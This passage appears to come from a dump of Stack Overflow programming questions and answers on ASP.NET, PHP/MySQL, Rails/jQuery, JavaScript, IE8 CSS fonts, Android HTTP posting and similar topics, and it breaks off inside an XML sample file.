SqlDataSourceInstruct.SelectParameters.Add("filter", TypeCode.String, string.Format("%{0}%", e.Filter)); SqlDataSourceInstruct.SelectParameters.Add("startIndex", TypeCode.Int64, (e.BeginIndex + 1).ToString()); SqlDataSourceInstruct.SelectParameters.Add("endIndex", TypeCode.Int64, (e.EndIndex + 1).ToString()); //comboBox.DataSource = SqlDataSourceInstruct; comboBox.DataBind(); } protected void cboInstructor_OnItemRequestedByValue_SQL(object source, ListEditItemRequestedByValueEventArgs e) { long value = 0; if (e.Value == null) return; if (!Int64.TryParse(e.Value.ToString(), out value)) return; ASPxComboBox comboBox = (ASPxComboBox)source; SqlDataSourceInstruct.SelectCommand = @"SELECT employee_id, display_surname, display_forename FROM central.user_record WHERE (employee_id = @ID) ORDER BY display_forename"; SqlDataSourceInstruct.SelectParameters.Clear(); SqlDataSourceInstruct.SelectParameters.Add("ID", TypeCode.Int64, e.Value.ToString()); comboBox.DataSource = SqlDataSourceInstruct; comboBox.DataBind(); } } </code></pre> <p>MySQL stored procedure</p> <pre><code>DELIMITER $$ USE `central`$$ DROP PROCEDURE IF EXISTS `GetUser`$$ CREATE DEFINER=`root`@`%` PROCEDURE `GetUser`(filter VARCHAR(50), startIndex INT, endIndex INT) BEGIN SELECT employee_id, display_Forename, display_Surname FROM (SELECT employee_id , display_forename , display_surname , @rownum:=@rownum+1 AS rn FROM central.user_record, (SELECT @rownum:=0) AS r WHERE CONCAT(display_forename, ' ', display_surname) LIKE filter ORDER BY display_surname ASC) AS st WHERE st.rn BETWEEN startIndex AND endIndex; END$$ DELIMITER ; </code></pre>
27512372	0	 <p>Since the library I wanted to use was not written as a PHP extension, I had to write a wrapper extension in C, creating a PHP method which takes PHP arguments and calls the library function using the arguments after they are transformed (e.g. using a pointer for the memory address).</p>
14916588	0	 <p>Here's how I would do it:</p> <pre><code>#!/bin/bash readonly Directory="$1" shift git --git-dir="$Directory/.git" "$@" </code></pre> <p>First, this copies the repository location (<code>$1</code>) to another variable (<code>$Directory</code>). Then it uses <a href="http://ss64.com/bash/shift.html" rel="nofollow"><code>shift</code></a> to move all the program arguments to the left by one, so <code>$@</code> just contains the arguments that were intended for Git. From there, it's just a simple matter of calling Git with the new arguments.</p>
12572089	0	to create a gallery in asp.net by iterating through the folders <p>I want to create a gallery in asp.net the way it should work is as follows:</p> <ul> <li>iterate through gallery folder</li> <li>select all the folder and show them as albums with cover pic as thumbnail.jpg in that folder</li> <li>when clicked on the album it should display the content of the folder (images).</li> </ul> <p>My approach for creating this was to iterate through the folders and make views and link button based on that for albums and to display the content of album in that view as images using repeater control, but that didn't work out as it had many errors while implementing it. and I had to write the whole thing in on_init() function because of dynamic views.I can implement the html and js part (like for light box and other visual stuffs). Please suggest some better approach maybe with some code example. Please use c# . Thanks</p>
7267162	0	How do I sort this multiple queried result table in PHP using a drop down? <p>I got a code which generate a table like this</p> <p><img src="https://i.stack.imgur.com/VQYa0.jpg" alt="table"></p> <p>and the code is here</p> <pre><code>$num1 = mysql_query("SELECT * FROM mtable WHERE DataVersionDate='$datav' &amp;&amp; Pathogen='$pathogen' &amp;&amp; Topic='$topic1' &amp;&amp; Indicator='$ind1' &amp;&amp; IndicatorSubGroup='$subindg1' &amp;&amp; (Country IN ('$sql_cntys') OR WHORegionAC IN ('$sql_cntys')) "); $num2 = mysql_query("SELECT * FROM mtable WHERE DataVersionDate='$datav' &amp;&amp; Pathogen='$pathogen' &amp;&amp; Topic='$topic2' &amp;&amp; Indicator='$ind2' &amp;&amp; IndicatorSubGroup='$subindg2' &amp;&amp; (Country IN ('$sql_cntys') OR WHORegionAC IN ('$sql_cntys')) "); $num3 = mysql_query("SELECT * FROM mtable WHERE DataVersionDate='$datav' &amp;&amp; Pathogen='$pathogen' &amp;&amp; Topic='$topic3' &amp;&amp; Indicator='$ind3' &amp;&amp; IndicatorSubGroup='$subindg3' &amp;&amp; (Country IN ('$sql_cntys') OR WHORegionAC IN ('$sql_cntys')) "); $num4 = mysql_query("SELECT * FROM mtable WHERE DataVersionDate='$datav' &amp;&amp; Pathogen='$pathogen' &amp;&amp; Topic='$topic4' &amp;&amp; Indicator='$ind4' &amp;&amp; IndicatorSubGroup='$subindg4' &amp;&amp; (Country IN ('$sql_cntys') OR WHORegionAC IN ('$sql_cntys')) "); $num5 = mysql_query("SELECT * FROM mtable WHERE DataVersionDate='$datav' &amp;&amp; Pathogen='$pathogen' &amp;&amp; Topic='$topic5' &amp;&amp; Indicator='$ind5' &amp;&amp; IndicatorSubGroup='$subindg5' &amp;&amp; (Country IN ('$sql_cntys') OR WHORegionAC IN ('$sql_cntys')) "); $data = array(); while($row = mysql_fetch_assoc($num1)) { $c = $row['Country']; if (!isset($data[$c])) { $data[$c] = array('Country' =&gt; $c); } $data[$c]['MidEstimate1'] = $row['MidEstimate']; } while($row = mysql_fetch_assoc($num2)) { $c = $row['Country']; if (!isset($data[$c])) { $data[$c] = array('Country' =&gt; $c); } $data[$c]['MidEstimate2'] = $row['MidEstimate']; } while($row = mysql_fetch_assoc($num3)) { $c = $row['Country']; if (!isset($data[$c])) { $data[$c] = array('Country' =&gt; $c); } $data[$c]['MidEstimate3'] = $row['MidEstimate']; } while($row = mysql_fetch_assoc($num4)) { $c = $row['Country']; if (!isset($data[$c])) { $data[$c] = array('Country' =&gt; $c); } $data[$c]['MidEstimate4'] = $row['MidEstimate']; } while($row = mysql_fetch_assoc($num5)) { $c = $row['Country']; if (!isset($data[$c])) { $data[$c] = array('Country' =&gt; $c); } $data[$c]['MidEstimate5'] = $row['MidEstimate']; } $i = 0; echo "&lt;table width='880' align='center'&gt;"; foreach ($data as $row) { echo ($i % 5) ? "&lt;tr&gt;" : "&lt;tr&gt;" ; echo "&lt;td style='padding-left:10px' width='280'&gt;" . $row['Country']."&lt;/td&gt;"; echo "&lt;td align='center' width='120'&gt;" . $row['MidEstimate1']."&lt;/td&gt;"; echo "&lt;td align='center' width='120'&gt;" . $row['MidEstimate2']."&lt;/td&gt;"; echo "&lt;td align='center' width='120'&gt;" . $row['MidEstimate3']."&lt;/td&gt;"; echo "&lt;td align='center' width='120'&gt;" . $row['MidEstimate4']."&lt;/td&gt;"; echo "&lt;td align='center' width='120'&gt;" . $row['MidEstimate5']."&lt;/td&gt;"; echo "&lt;/tr&gt;" ; } echo "&lt;/table&gt;" ; </code></pre> <p>How can I sort this table column wise ? that is using a drop down list with values "Country", "Indicator 1", "Indicator 2", "Indicator 3", "Indicator 4", "Indicator 5". when a user select values table must list values with respective sorted column. Please help.</p> <p><strong>I got the answer from here</strong> <a href="http://www.the-art-of-web.com/php/sortarray/" rel="nofollow noreferrer">Sort Multi Array</a></p>
15166079	0	mysql workbench load data local infile cannot find file or directory <p>Anyone else having problem using:</p> <pre><code>LOAD DATA LOCAL INFILE 'c:/PRODUCT_GROUP_UPLOAD.CSV' into TABLE ats_store.product_group FIELDS TERMINATED BY ',' ENCLOSED BY '"' ESCAPED BY '"' LINES TERMINATED BY '\r\n' (product_group_id,name,price,description,image,start_time,end_time,start_date,end_date,product_code,delivery_format); </code></pre> <p>Mysql Workbench has been buggy for a few weeks now, but I can't even find the file. Also, I updated today!</p> <p>I get:</p> <pre><code>Error Code: 2. File 'c:\PRODUCT_GROUP_UPLOAD.CSV' not found (Errcode: 2 - No such file or directory) </code></pre> <p>I have loaded other files, but can't seem to get this one loaded? It's def in the folder I specify!</p> <p>Keep in mind that i already played with the slashes, forward, backward, double forward, double backward, etc...</p>
29057730	0	Rails-jQuery Why do I have to click twice for jQuery effect to show? <p>I am using Rails 4.1.1 Why do I have to click twice for jQuery effect to show? I have been Googling but I cannot find any solutions, not sure if there's something wrong with my jQuery code or....</p> <p>When I click "Submit" for the first time, the effect didn't appear but the POST action is already called, when I click for the second time, the effect appeared and the POST action is called. </p> <p>Please check below my <code>create.js.erb</code>, <code>users_controller.rb</code>, <code>new.html.erb</code></p> <p><strong>create.js.erb</strong></p> <pre><code>function isValidEmailAddress(emailAddress) { var pattern = new RegExp(/^((([a-z]|\d|[!#\$%&amp;'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&amp;'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i); return pattern.test(emailAddress); }; $("form").submit(function( event ) { var email = $("input#user_email").val(); if (email == "") { $("h1").text( "Email cannot be empty" ).show().fadeOut( 3000 ); return; } else if (!isValidEmailAddress(email)) { $("h1").text( "Email address is not valid" ).show().fadeOut( 3000 ); }else { $("h1").text( "Correct email address" ).show(); } event.preventDefault(); }); </code></pre> <p><strong>new.html.erb</strong></p> <pre><code>&lt;%= form_for @user, remote: true do |f| %&gt; &lt;p&gt; &lt;%= f.text_field :email %&gt; &lt;/p&gt; &lt;p&gt; &lt;%= f.submit :Submit %&gt; &lt;/p&gt; &lt;% end %&gt; &lt;h1&gt;&lt;/h1&gt; &lt;% @users.each do |user| %&gt; &lt;tr&gt; &lt;li&gt;&lt;%= user.email %&gt;&lt;/li&gt; &lt;/tr&gt; &lt;% end %&gt; </code></pre> <p><strong>users_controller.rb</strong></p> <pre><code>class UsersController &lt; ApplicationController def new @users = User.all @user = User.new end def create @user = User.new(user_params) respond_to do |format| format.html { redirect_to '/' } format.js end @user.save end private def user_params params.require(:user).permit(:email) end end </code></pre>
5162764	0	 <p>There are some logic errors in your original code (i.e. infinite loop). Fix:</p> <pre> function joinParameters(target, paramName) { var count = 1; var array = []; var name = paramName.concat(count); var value = target[name]; while (value != undefined) { /* typeof value will return "undefined". */ array.push(value); /* You need to increment 'count'. */ name = paramName.concat(++count); value = target[name]; } target[paramName] = array; } ... joinParameters(target, "x"); </pre> <p>Note this function call will add a new element <code>x</code> to <code>target</code>, <code>x1, x2, ..., x6</code> will still exist in <code>target</code>. In fact, this function doesn't take care of the <code>y</code> element, which I assume you want to "join" as well.</p> <p>For a more versatile function, the answer by <em>zachallia</em> should do the trick.</p>
14064579	0	 <p>Pagenation problem was solved</p> <pre><code>.pager ul.yiiPager li.page:after{display: inline-block !important} </code></pre> <p>But still am getting image problem... Help please...</p>
6386147	0	 <p>You will get the source code for any gateway for any platform in the help/documentation/ download sections of the payment gateway/payment processor website. Compile these codes and host it on codeplex.com. This will be the open source project you want...</p> <p>And do remember to upgrade the code regularly, since the APIs for the payment gateways changes often for to security measures...</p>
29971477	0	Reading information from Memory array into excel sheet formula <p>I'd like to use data from an array that I've got stored in my VBA memory directly into a formula in my sheet. As an example, I'd like to avoid using Application.vlookup() to print to each cell individually as this is slow. And instead do something like the following</p> <pre><code>Sub MySub() Dim MyArrayStoredInVBaMemory() As Variant MyArrayStoredInVBaMemory = Array(1, 2, 3, 4, 5, 6, 7, 8, 9) Cells(1, 1).Value = 1 Cells(1, 2).FormulaR1C1 = "=vlookup(RC1,MyArrayStoredInVBaMemory,1,0)" Cells(1, 2).Copy Cells(1, 2).PasteSpecial xlPasteValues Application.CutCopyMode = False End Sub </code></pre> <p>Your help is appreciated.</p>
20900966	0	Magento Price Formatting - 2 or 3 decimal places <p>I have a requirement to set prices on certain items to 3 decimal places. I have achieved this by changing the 'precision' variable to 3, however this now means that every price on the site is displayed to 3 decimal places (ie: an empty shopping cart shows as £0.000). I want to only show the 3rd decimal place if it's required but I'm not sure where to find this in the code base. Can anyone point me in the right direction please?</p>
6291754	0	 <p>Here is some code I used to this a while back, it's not perfect but it should get you started:</p> <p>EDIT: Still ugly but output is better: <code>ajax-json-html5-the-future-of-web-</code></p> <pre><code>string title = "AJAX, JSON &amp; HTML5! The future of web?"; title = Regex.Replace(title, @"&amp;amp;|&amp;", "-"); StringBuilder builder = new StringBuilder(); for (int i = 0; i &lt; title.Length; i++) { if (char.IsLetter(title[i]) || char.IsDigit(title[i])) builder.Append(title[i]); else builder.Append('-'); } string result = builder.ToString().ToLower(); result = Regex.Replace(result, "-+", "-"); </code></pre>
33136982	0	Is it necessary to use document.getElementById() to access a specific DOM object, or can its Id be used directly? <p>In a lot of what I'm reading about Javascript the examples show how to edit a given element by first getting its object using document.getElementById(). However I've seen other code where this isn't used and the element's Id is just used directly.</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;script&gt; function test1(){ document.getElementById("paragraph").innerHTML = "test 1 works"; } function test2(){ paragraph.innerHTML = "test 2 works"; } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;a href="#" onClick="test1()"&gt;Run Test 1&lt;/a&gt; &lt;a href="#" onClick="test2()"&gt;Run Test 1&lt;/a&gt; &lt;p id="paragraph"&gt;&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Both test1() and test2() are able to update the innerHTML of the 'paragraph' element. However the first one uses document.getElementById(paragraph) and the second one skips this and just uses the Id itself.</p> <p>Since both of these work is there a preferred method? Does it depend on the browser?</p>
3123532	0	 <p>You can in upload script use a temportantly file (in temportantly directory) and if upload was finished you can simple move file to your final location with good filename.</p> <p>This is a common solution for this problem.</p> <p>For get temportantly file (enviroment independent) use PHP function:</p> <pre><code>resource tmpfile ( void ) </code></pre> <p>Documemtation for it you can find at <a href="http://pl.php.net/manual/en/function.tmpfile.php" rel="nofollow noreferrer">http://pl.php.net/manual/en/function.tmpfile.php</a> This function returning handle to your new clean tempfile.</p> <p>But if your using this function you must copy file before you close handle to it because this file was removed when you call <code>fclose(handle)</code>. To get assurance of file buffer is clean you can at end call <code>fflush(handle)</code>.</p> <hr> <p>Or if you don't want use <code>tmpfile(void)</code> function you can do this manualy.</p> <pre><code>string tempnam ( string $dir, string $prefix ) </code></pre> <p>Prefix is a prefix to your files to easly group her to delete or something. Call this function to get unique file in typed directory, as directory get you temp directory in your enviroment, you can get this by calling:</p> <pre><code>string sys_get_temp_dir ( void ) </code></pre> <p>Then when you have self tempfile, write to it upload data and close. Copy this file to your final location using:</p> <pre><code>bool copy ( string $source, string $dest [, resource $context ] ) </code></pre> <p>And delete your tempfile to get clean in your enviroment calling: </p> <pre><code>bool unlink ( string $filename [, resource $context ] ) </code></pre>
24154162	0	 <p>Make sure your Class name field is actually <strong>Module</strong>.Task, where <strong>Module</strong> is the name of your app. CoreData classes in Swift are namespaced. Right now, your object is being pulled out of the context as an NSManagedObject, not as a Task, so the as-cast is failing.</p>
5402066	0	 <p><a href="http://msdn.microsoft.com/en-us/library/system.stathreadattribute.aspx" rel="nofollow">MSDN answers your questions</a></p> <p>It has no effect on other functions. It only has effect if your program uses COM interop.</p>
9809351	0	IE8 CSS @font-face fonts only working for :before content on over and sometimes on refresh/hard refresh <p>UPDATE: I've written a blog post about what I've learned about this issue. I still don't fully understand it, but hopefully someone will read this and shed some light on my issue: <a href="http://andymcfee.com/2012/04/04/icon-fonts-pseudo-elements-and-ie8">http://andymcfee.com/2012/04/04/icon-fonts-pseudo-elements-and-ie8</a></p> <p>I have a page where I'm using @font-face to import a custom font for icons. The icons are created with a class:</p> <pre><code>.icon {font-family: 'icon-font';} .icon:before {content: 'A';} </code></pre> <p>And voila, I have whatever icon is used for "A". Pretty standard stuff, works in all browsers, including IE8. </p> <p>However, in IE8, I have a bizarre bug. When the page loads, the font is not working. Instead of icons, I have letters all over the place. Once I hover OVER the page (body), half the letters become icons. The rest become icons when I hover over them. </p> <p>SO the font-face is embedding properly. The font-family and content properties are both working, but something else is causing the icons to load only after hover.</p> <p>So there's some sort of bug with @font-face in IE8 when you try to use the font with :before{content: 'a'} but I have no idea what the bug is.</p> <p>I've searched for hours on here for a similar bug/IE8 issue/anything, but I've had no luck and I'm about to go crazy. ANY suggestions? </p> <p>Let me know if I can provide anymore info that might be helpful. </p> <p>EDIT: Updated the broken link to the blog post.</p>
31724454	0	Will new local class instance be garbage collected if I return an array it creates? <p>Let's say a class instance will build arrays:</p> <pre><code>class FooArrBuilder { public Foo[] FinalResult { get { return arr; } } Foo[] arr; public void BuildArr(); ... } </code></pre> <p>Then it's used like this:</p> <pre><code>Foo[] GetFooArr() { var fb = new FooArrBuilder(); fb.BuildArr(); ... return fb.FinalResult; } </code></pre> <p>When an array is built inside an instance local to a function, will the array be moved out of the instance that built it, or will the whole instance be kept in memory just to contain the array? I do not necessarily want to copy the array if the latter is the case - but maybe I could make the class a struct? Help is appreciated :)</p> <p>If you care to elaborate a bit on C#'s memory model here, it would probably help me to avoid further confusion as well.</p> <p>Thanks in advance</p>
35031713	0	 <p>Have you tried with "before"?</p> <pre><code>$args = array( 'post_type' =&gt; 'epl_registration', 'post_status' =&gt; 'publish', 'fields' =&gt; 'ids', 'date_query' =&gt; array( array( 'column' =&gt; 'post_date_gmt', 'before' =&gt; '6 hours ago' ) ) ); $the_query = new WP_Query($args); </code></pre>
23239260	0	 <pre><code>Use this class package com.diluo.http; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URL; import java.util.ArrayList; import java.util.List; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.client.methods.HttpPut; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicHeader; import org.apache.http.message.BasicNameValuePair; import org.apache.http.protocol.HTTP; import android.app.ProgressDialog; import android.content.Entity; import android.os.AsyncTask; public class PostCall extends AsyncTask&lt;Void, Void, String&gt;{ private String url; private String request; private AsyncTaskListener callListener; private int pageId; private ProgressDialog dialog; public PostCall(String url,String request,ProgressDialog dialog,AsyncTaskListener callListener,int pageId) { this.url=url; this.request=request; this.callListener=callListener; this.pageId = pageId; this.dialog=dialog; } @Override protected String doInBackground(Void... params) { // TODO Auto-generated method stub try { System.out.println(request); System.out.println(url); HttpPost post = new HttpPost(this.url); StringEntity entity = new StringEntity(request,"UTF-8"); entity.setContentType("application/json"); entity.setContentEncoding(new BasicHeader("Content-type","application/json;charset=UTF-8")); post.setEntity(entity); post.addHeader("Content-type", "application/json;charset=UTF-80"); post.setHeader("Accept", "application/json"); DefaultHttpClient httpClient = new DefaultHttpClient(); HttpResponse response = httpClient.execute(post); // Collect the response HttpEntity entity1=response.getEntity(); if(entity1 != null&amp;&amp;(response.getStatusLine().getStatusCode()==201||response.getStatusLine().getStatusCode()==200)) { //--just so that you can view the response, this is optional-- int sc = response.getStatusLine().getStatusCode(); String sl = response.getStatusLine().getReasonPhrase(); String response_string=convertToString(entity1.getContent()); return response_string; } else { int sc = response.getStatusLine().getStatusCode(); String sl = response.getStatusLine().getReasonPhrase(); return null; } } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } return null; } private String convertToString(InputStream content) throws Exception{ InputStreamReader inputStreamReader=new InputStreamReader(content); BufferedReader bufferedReader=new BufferedReader(inputStreamReader); String s=""; StringBuffer buffer=new StringBuffer(); while ((s=bufferedReader.readLine())!=null) { buffer.append(s); } return buffer.toString(); } @Override protected void onPostExecute(String result) { if( callListener!= null){ super.onPostExecute(result); if(result != null){ try { System.out.println(result); callListener.onHttpResponse(result, pageId); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } }else{ callListener.onError("Please try again.", pageId); } if(this.dialog!=null){ dialog.dismiss(); } } cancel(true); } } </code></pre>
26597271	0	sparse indexing in matlab <p>I have a very long code which is full of the following "if"s and matlab editor gives me a suggestion as follow:</p> <p><strong>this sparse indexing expression is likely to be slow</strong></p> <pre><code>mt = rand(200,200); [c r] = size(mt); T = sparse(r*c,2); for i = 1:c for j = 1:r if(ind(j,i)==1) templat = template + 1; T((i-1)*r+j,2)=100000; end end; end; </code></pre> <p>Is there any way by which I can make the code faster and do the matlab's suggestion? (The code may not run, because I just picked a few lines and tried to show the issue)</p>
23583368	0	 <p>First, a capitalization typo: </p> <pre><code>stage.find // not stage.Find </code></pre> <p>When you use the hashtag (#) within a .find key, KineticJS searches for a node <code>id</code>. </p> <p>So when you create each path (room) you should assign it a node id (eg "Room1"):</p> <pre><code>var path = new Kinetic.Path({ id:"Room1", data: c, fill: '#fff', stroke: '#555', strokeWidth: 1 }); </code></pre> <p>Then your .find will succeed:</p> <pre><code>var room = stage.find("#Room1")[0]; </code></pre>
37806419	0	 <p>I have found the solution. The problem is with setting the contentScaleFactor of UIView. By default, it is 2.0 for retina displays. So, it should be set to 1.0. Here is the link for more details: <a href="http://stackoverflow.com/a/7130677/5814521">UIView ContentScaleFactor</a></p>
5762453	0	 <p><a href="http://php.net/manual/en/function.array-map.php"><strong>array_map</strong></a> and <a href="http://php.net/manual/en/function.trim.php"><strong>trim</strong></a> can do the job</p> <pre><code>$trimmed_array=array_map('trim',$fruit); print_r($trimmed_array); </code></pre>
22469393	0	 <p>It is possible to do bulk inserts in MongoDB. Check out the <a href="http://docs.mongodb.org/manual/core/bulk-inserts/" rel="nofollow">documentation</a> for details.</p> <p>Quoting from the documentation:</p> <blockquote> <p>The insert() method, when passed an array of documents, performs a bulk insert, and inserts each document atomically. Bulk inserts can significantly increase performance by amortizing write concern costs.</p> </blockquote>
37734931	0	 <p>As far as the rest of your program is aware your <code>wait_queue</code> is just a <code>Collection</code>, it doesn't have <code>get</code> or <code>remove</code> methods.</p> <p>You're correct in that you don't want to couple your implementation to the variable's type, however you shouldn't use <code>Collection</code> unless you only want to iterate over the contents. Use <code>List</code>, <code>Set</code>, or other collections interfaces to describe collections. These expose the <code>get</code> and <code>remove</code> (in the case of the <code>List</code>) methods you want, and expose the <strong>behaviour</strong> of the object (but not the implementation - in this case <code>ArrayList</code>). e.g., a <code>List</code> allows duplicates whereas a <code>Set</code> does not.</p>
5852295	0	xQuery return all values but one <p>Here is my xml:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;library xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="library.xsd"&gt; &lt;items&gt; &lt;book asin="0201100886" created="128135928" lastLookupTime="128135928"&gt; &lt;uuid&gt;BA57A934-6CDC-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Compilers&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Alfred V. Aho&lt;/author&gt; &lt;author&gt;Ravi Sethi&lt;/author&gt; &lt;author&gt;Jeffrey D. Ullman&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Addison Wesley&lt;/publisher&gt; &lt;published&gt;1986-01-01&lt;/published&gt; &lt;price&gt;102.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0122513363" created="128135600" lastLookupTime="128136224"&gt; &lt;uuid&gt;F7468E09-6CDB-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Database Driven Web Sites&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Jesse Feiler&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Morgan Kaufmann&lt;/publisher&gt; &lt;published&gt;1998-04-15&lt;/published&gt; &lt;edition&gt;Paperback&lt;/edition&gt; &lt;price&gt;50.95&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;currentValue&gt;35.00&lt;/currentValue&gt; &lt;netRating&gt;1.5&lt;/netRating&gt; &lt;genres&gt; &lt;genre&gt;Computer Bks - Internet&lt;/genre&gt; &lt;genre&gt;Computer Books: Web Programming&lt;/genre&gt; &lt;genre&gt;Computer Networks&lt;/genre&gt; &lt;genre&gt;Computers&lt;/genre&gt; &lt;genre&gt;Database Management - General&lt;/genre&gt; &lt;genre&gt;Database management&lt;/genre&gt; &lt;genre&gt;Design&lt;/genre&gt; &lt;genre&gt;Distributed Databases&lt;/genre&gt; &lt;genre&gt;Information Technology&lt;/genre&gt; &lt;genre&gt;Internet - Web Site Design&lt;/genre&gt; &lt;genre&gt;Networking - General&lt;/genre&gt; &lt;genre&gt;Web sites&lt;/genre&gt; &lt;genre&gt;Computers / Computer Science&lt;/genre&gt; &lt;/genres&gt; &lt;upc&gt;608628133638&lt;/upc&gt; &lt;/book&gt; &lt;book asin="0201441241" created="128136896" lastLookupTime="128136896"&gt; &lt;uuid&gt;FBC45DF4-6CDE-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Introduction to Automata Theory, Languages, and Computation (2nd Edition)&lt;/title&gt; &lt;authors&gt; &lt;author&gt;John E. Hopcroft&lt;/author&gt; &lt;author&gt;Rajeev Motwani&lt;/author&gt; &lt;author&gt;Jeffrey D. Ullman&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Addison Wesley&lt;/publisher&gt; &lt;published&gt;2000-11-14&lt;/published&gt; &lt;price&gt;108.20&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0471250600" created="128136896" lastLookupTime="128136896"&gt; &lt;uuid&gt;FBC7CA56-6CDE-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Operating System Concepts&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Abraham Silberschatz&lt;/author&gt; &lt;author&gt;Greg Gagne&lt;/author&gt; &lt;author&gt;Peter Baer Galvin&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Wiley&lt;/publisher&gt; &lt;published&gt;2002-03-08&lt;/published&gt; &lt;price&gt;107.95&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0321193628" created="128136896" lastLookupTime="128136896"&gt; &lt;uuid&gt;FBCB3DCF-6CDE-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Concepts of Programming Languages, Sixth Edition&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Robert W. Sebesta&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Addison Wesley&lt;/publisher&gt; &lt;published&gt;2003-07-24&lt;/published&gt; &lt;price&gt;112.40&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0138613370" created="128136944" lastLookupTime="128136944"&gt; &lt;uuid&gt;19E5E602-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;First Course in Database Systems, A&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Jeffrey D. Ullman&lt;/author&gt; &lt;author&gt;Jennifer Widom&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall&lt;/publisher&gt; &lt;published&gt;1997-04-02&lt;/published&gt; &lt;edition&gt;Hardcover&lt;/edition&gt; &lt;price&gt;67.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;netRating&gt;3.2&lt;/netRating&gt; &lt;genres&gt; &lt;genre&gt;Computer Books: Database&lt;/genre&gt; &lt;genre&gt;Computers&lt;/genre&gt; &lt;genre&gt;Database Engineering&lt;/genre&gt; &lt;genre&gt;Database Management - General&lt;/genre&gt; &lt;genre&gt;Database management&lt;/genre&gt; &lt;/genres&gt; &lt;recommendations&gt; &lt;book asin="0130402648" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C60074A-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Database System Implementation&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Hector Garcia-Molina&lt;/author&gt; &lt;author&gt;Jeffrey D. Ullman&lt;/author&gt; &lt;author&gt;Jennifer D. Widom&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall&lt;/publisher&gt; &lt;published&gt;1999-06-11&lt;/published&gt; &lt;price&gt;89.00&lt;/price&gt; &lt;purchaseDate&gt;2005-01-22&lt;/purchaseDate&gt; &lt;/book&gt; &lt;book asin="0130319953" created="128136952" lastLookupTime="128136952"&gt; &lt;uuid&gt;1C635DB0-6CDF-11D9-830B-000393D3DE16&lt;/uuid&gt; &lt;title&gt;Database Systems: The Complete Book&lt;/title&gt; &lt;authors&gt; &lt;author&gt;Hector Garcia-Molina&lt;/author&gt; &lt;author&gt;Jeffrey D. Ullman&lt;/author&gt; &lt;author&gt;Jennifer D. Widom&lt;/author&gt; &lt;/authors&gt; &lt;publisher&gt;Prentice Hall&lt;/publisher&gt; 